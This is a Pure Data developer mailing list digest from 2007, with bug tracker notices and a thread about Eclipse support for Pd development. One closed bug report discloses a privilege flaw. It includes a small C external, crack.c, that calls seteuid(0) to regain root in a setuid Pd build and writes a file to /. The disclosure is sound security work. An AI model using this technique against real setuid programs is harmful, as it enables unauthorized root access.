Hi,
several months ago I asked the same question and someone told me that since the externals are typically monolithic applications there was no need for Eclipse. I don't know how to create a project template that can be useful for developing externals and the PD-core itself, but I'd be a happy user of it...
 
Julian Villegas

Me pregunto de un modo pensativo
Que significa ser Colombiano?
No se le respondi. Es un acto de fe
JLB.


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  1. [ pure-data-Patches-1552482 ] update to [cnv] help to
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  2. eclipse + pd (Hans-Christoph Steiner)
  3. [ pure-data-Bugs-1825839 ] pd-extended autobuild 0.40.2 ~>
      (zexy) (SourceForge.net)
  4. [ pure-data-Bugs-1602345 ] security vulnerability,    giving
      root access (SourceForge.net)
  5. Re: eclipse + pd (mescalinum@gmail.com)


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Message: 1
Date: Mon, 19 Nov 2007 08:11:53 -0800
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Subject: [PD-dev] [ pure-data-Patches-1552482 ] update to [cnv] help
    to    document arguments
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Patches item #1552482, was opened at 2006-09-05 01:48
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Category: puredata
Group: bugfix
Status: Open
Resolution: None
Priority: 5
Private: No
Submitted By: Luke Iannini (lukeiannini)
Assigned to: Miller Puckette (millerpuckette)
Summary: update to [cnv] help to document arguments

Initial Comment:
The canvas object seems to take arguments happily enough - while I
could not find this documented, I discovered what went where by trying
"cnv a b c d e f g h..." and checking where they ended up in the
properties.  This worked, but while the arguments appear in the
properties, they do not actually "show up" in the canvas until the property
window is closed again.

I've attached a patch that demonstrates this behavior.

(I was hoping to build a "canvas generator" that would save me the
trouble of opening property windows to set dimensions or a recieve
symbol that could be used with Joao Miguel Pais's "gui-edit" abstraction. 
But the receive symbol does not start functioning until the props are
opened, then closed.)

Also, the first 3 arguments do not seem to do anything (they'd logically
control "selectable size" and the x and y dimensions of the canvas).

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Sorry I never did this, here's the file.
File Added: my_canvas-help.pd

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Comment By: Hans-Christoph Steiner (eighthave)
Date: 2007-06-14 08:20

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this patch does not apply cleanly to anything that I tried.  Please submit
the original pd help patch rather than the diff/patch file.  diffs don't
really work with .pd files.

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Comment By: Luke Iannini (lukeiannini)
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Hello Hans,
Done : ). But I can't effect the bug>patch change.

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It would be awesome then if you updated the help file and
submitted that as a patch to the tracker.  Then the rest of
us can benefit from your explorations.

You can attach an updated help file to this tracker, then
change it from a "Bug" to a "Patch".

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Sorry about that, thanks!

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Comment By: IOhannes m zm?g (zmoelnig)
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this is, because you are using wrong arguments and not
because of a bug in [cnv].
attached is a working patch (which uses more arguments than
the original one)

there are 4 possibilities to "reverse engineer" the
arguments of an object:
1) read the help (won't help you with [cnv])
2) read the pd-list (ask! chances are high that somebody
already solved your problem)
3) read the patch (save a patch with the object as you would
like it; open the patch with a text editor; look which
arguments are used; understand what the arguments mean)
4) read the source

esp. #3 is a very simple and efficient and good way to
discover the arguments of an object (the object usually
knows best which arguments it needs)

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This is on Pd-x-39.2t4 (OS X.4.7 PPC)

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Date: Mon, 19 Nov 2007 20:00:40 -0500
From: Hans-Christoph Steiner <hans@eds.org>
Subject: [PD-dev] eclipse + pd
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Hey all,

I am thinking it's about time that we have a standard profile in a 
full featured IDE for developing Pd.  I am thinking that Eclipse is 
the best bet since it runs everywhere, it's free, and it already has 
C/C++ and Tcl modes.

Has anyone worked with Pd+Eclipse at all?  Anyone want to help make a 
Pd project profile?  I think the key idea would be to make an Eclipse 
project to allow people to develop their externals wherever they 
want, but make sure that the code from that project can easily drop 
into the Pd-extended build system.

.hc


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Date: Mon, 19 Nov 2007 19:20:04 -0800
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Subject: [PD-dev] [ pure-data-Bugs-1825839 ] pd-extended autobuild
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Bugs item #1825839, was opened at 2007-11-04 20:24
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Category: externals
Group: v0.40.2
>Status: Closed
Resolution: Duplicate
Priority: 5
Private: No
Submitted By: wipinmtl (wipinmtl)
Assigned to: Nobody/Anonymous (nobody)
Summary: pd-extended autobuild 0.40.2 ~> (zexy)

Initial Comment:
~> 38
... couldn't create

in pd-extended autobuild 0.40.2 (for gutsy). should be part of zexy.

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Comment By: IOhannes m zm?g (zmoelnig)
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the object is named [>~] instead of [~>].

apart from that it seems to be a duplication of bug-#1702883.


if the problem persists with the correct object name, please run Pd with
"-verbose" and tell us the exact error-lines (preferably in bug#1702883)


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Subject: [PD-dev] [ pure-data-Bugs-1602345 ] security vulnerability,
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Bugs item #1602345, was opened at 2006-11-24 07:48
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Category: puredata
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>Status: Closed
Resolution: Fixed
Priority: 5
Private: No
Submitted By: Mathieu Bouchard (matju)
Assigned to: Miller Puckette (millerpuckette)
Summary: security vulnerability, giving root access

Initial Comment:
first configure with --enable-setuid or just chmod 4755 pd && chown root pd, which has the same effect.

then load this external called crack.c by making a [crack] box or -lib crack:

#include <unistd.h>
#include <stdio.h>
void crack_setup (void) {
  seteuid(0);
  fopen("/hax0r","w");
}

An empty file called "hax0r" appears in protected folder "/" even though privileges have been dropped by pd upon startup.


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I am pretty sure this the bug fixed by Miller's 0.40.3 and 0.39.3
releases.  Please adjust if I am wrong.

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Message: 5
Date: Tue, 20 Nov 2007 10:09:23 +0100
From: mescalinum@gmail.com
Subject: Re: [PD-dev] eclipse + pd
To: "Hans-Christoph Steiner" <hans@eds.org>
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> I am thinking it's about time that we have a standard profile in a
> full featured IDE for developing Pd.  I am thinking that Eclipse is
> the best bet since it runs everywhere, it's free, and it already has
> C/C++ and Tcl modes.
>
> Has anyone worked with Pd+Eclipse at all?  Anyone want to help make a
> Pd project profile?  I think the key idea would be to make an Eclipse
> project to allow people to develop their externals wherever they
> want, but make sure that the code from that project can easily drop
> into the Pd-extended build system.

I like the idea!!
but I started to look at Eclipse very recently, still I am a newbie.
but I've seen IDEs for almost everything running in Eclipse (I'll
start to look at the Graphical Editing Framework) its plugin API looks
very powerful

also here at work I see Eclipse is a standard de facto.

hope more devs get interested in this.
--
Federico Ferri



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